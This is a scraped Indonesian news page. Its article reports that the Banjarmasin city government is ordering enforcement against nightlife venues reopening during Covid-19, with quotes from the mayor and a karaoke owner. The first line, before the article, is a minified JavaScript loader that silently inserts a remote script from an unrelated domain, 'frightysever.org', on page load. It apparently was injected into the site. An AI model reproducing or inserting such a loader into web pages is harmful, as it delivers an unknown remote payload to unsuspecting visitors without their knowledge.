(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mendapat penolakan dari sejumlah elemen masyarkat yang menentang beroperasinya THM (tempat hiburan malam) di tengah pandemi Covid-19, Pemkot Banjarmasin segera turun ke lapangan melakukan penertiban THM.
Wali Kota Banjarmasin Ibnu Sina secara tegas mengatakan hingga saat ini Pemkot Banjarmasin belum mengeluarkan surat esmi yang memberi lampu hijau bagi pengusaha THM memulai operasional.
“Kita masih menuju fase new normal. Belum ada surat resmi yang memperbolehkan THM beroperasi,” tegas Ibnu Sina.
Pemkot Banjarmasin lanjutnya masih berpedoman dengan surat imbauan Nomor 556/535 /Pengpar/Disbudpar pada tanggal 31 Maret 2020, dimana isinya tentang penutupan/penghentian operasional sementara dalam rangka mengantisipasi kewaspadaan Covid-19 di Banjarmasin.
Dalam surat itu lanjut Ibnu Sina, sangat jelas disebutkan, Tempat Hiburan Malam (THM) baik diskotik, pub, karoke, dan sejenisnya, rumah biliar dan sejenisnya, usaha penyelenggaraan hiburan, usaha kegiatan event organizer dan sejenisnya yang berpotensi mengumpulkan khalayak orang ramai, diminta tetap mempedomani SE Walikota Banjarmasin No 556/491/Pengpar/Disbudpar tanggal 20 Maret 2020. Dan tetap diminta menghentikan kegiatan operasional sementara sejak 1 April 2020 hingga batas waktu yang akan ditentukan kemudian hari.
“Saya sudah perintahkan Plt Kasatpol PP yang baru untuk segera melakukan penertiban THM yang buka. Tidak ada tawar menawar karena aturannya sangat jelas,” beber Ibnu Sina.
Baca juga: THM Diminta Jangan Buka Dulu, Banjarmasin Masih Zona Merah!
Terpisah, salah satu pengusaha karoke di Banjarmasin yang enggan disebutkan namanya mengatakan, pada dasarnya tidak keberatan dengan aturan larangan operasional THM di Banjarmasin.
Hanya saja lanjutnya, dalam penegakan aturan Pemko diharapkan tidak tebang pilih sehingga semua pengusaha THM wajib mematuhi aturan.
“Kami tidak keberatan jika harus tutup. Namun jangan hanya usaha kami saja. Semua usaha THM atau karaoke juga harus ditutup,” terangnya.
Kebijakan membuka usaha hiburan lanjutnya, dikarenakan pertimbangan karyawan yang sejak April lalu sudah dirumahkan.
“Ada banyak karyawan yang terpaksa kami rumahkan. Atas pertimbangan itu kami buka kembali. Jika memang belum diizinkan, kami tidak keberatan. Yang terpenting aturan ini berlaku untuk semua THM. Jangan hanya satu atau dua tempat saja,” ujarnya. (kanalkalimantan.com/bie)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.